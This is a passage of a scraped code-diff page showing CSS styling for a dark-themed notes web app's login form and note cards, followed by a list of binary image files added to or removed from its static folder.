margin-bottom: 30px;
|
||||||
|
font-family: 'Courier New', Courier, monospace;
|
||||||
|
letter-spacing: 2px;
|
||||||
|
}
|
||||||
|
|
||||||
|
label {
|
||||||
|
font-weight: bold;
|
||||||
|
margin-top: 15px;
|
||||||
|
}
|
||||||
|
|
||||||
|
input[type="text"], input[type="password"] {
|
||||||
|
width: 100%;
|
||||||
|
padding: 10px;
|
||||||
|
margin-top: 5px;
|
||||||
|
background-color: #0f0f0f;
|
||||||
|
border: 1px solid #333;
|
||||||
|
border-radius: 4px;
|
||||||
|
color: #f1f1f1;
|
||||||
|
}
|
||||||
|
|
||||||
|
input[type="submit"] {
|
||||||
|
width: 100%;
|
||||||
|
padding: 10px;
|
||||||
|
margin-top: 20px;
|
||||||
|
background-color: #d32f2f;
|
||||||
|
border: none;
|
||||||
|
border-radius: 4px;
|
||||||
|
color: #fff;
|
||||||
|
font-weight: bold;
|
||||||
|
cursor: pointer;
|
||||||
|
transition: background-color 0.3s;
|
||||||
|
}
|
||||||
|
|
||||||
|
input[type="submit"]:hover {
|
||||||
|
background-color: #a12a2a;
|
||||||
|
}
|
||||||
|
|
||||||
|
.header-bar {
|
||||||
|
width: 100%;
|
||||||
|
height: 5px;
|
||||||
|
background-color: #d32f2f;
|
||||||
|
margin-bottom: 20px;
|
||||||
|
border-radius: 2px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.error-message {
|
||||||
|
color: #ff4d4d;
|
||||||
|
margin-top: 10px;
|
||||||
|
font-size: 0.9em;
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.note-listing {
|
||||||
|
margin-top: 20px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.note-card {
|
||||||
|
width: 120px;
|
||||||
|
background-color: #2a2a2a;
|
||||||
|
border-radius: 8px;
|
||||||
|
box-shadow: 0 0 10px rgba(0,0,0,0.6);
|
||||||
|
transition: transform 0.2s, box-shadow 0.2s;
|
||||||
|
}
|
||||||
|
|
||||||
|
.note-card:hover {
|
||||||
|
transform: translateY(-5px);
|
||||||
|
box-shadow: 0 0 15px rgba(211, 47, 47, 0.8);
|
||||||
|
}
|
||||||
|
|
||||||
|
.note-icon {
|
||||||
|
width: 50px;
|
||||||
|
height: 50px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.note-title {
|
||||||
|
font-size: 0.9rem;
|
||||||
|
margin-top: 5px;
|
||||||
|
word-break: break-word;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
BIN
www/static/img/background.gif
Normal file
|
After Width: | Height: | Size: 1.8 MiB |
BIN
www/static/img/fallback.png
Normal file
|
After Width: | Height: | Size: 28 KiB |
|
Before Width: | Height: | Size: 65 KiB |
|
Before Width: | Height: | Size: 30 KiB |
|
Before Width: | Height: | Size: 106 KiB |
|
Before Width: | Height: | Size: 205 KiB |
|
Before Width: | Height: | Size: 378 KiB |
|
Before Width: | Height: | Size: 84 KiB |
|
Before Width: | Height: | Size: 179 KiB |
|
Before Width: | Height: | Size: 117 KiB |
|
Before Width: | Height: | Size: 483 KiB |
BIN
www/static/img/logo.gif
Normal file
|
After Width: | Height: | Size: 635 KiB |
|
Before Width: | Height: | Size: 30 KiB |
BIN
www/static/img/note-icon.png
Normal file
|
After Width: | Height: | Size: 3.4 KiB |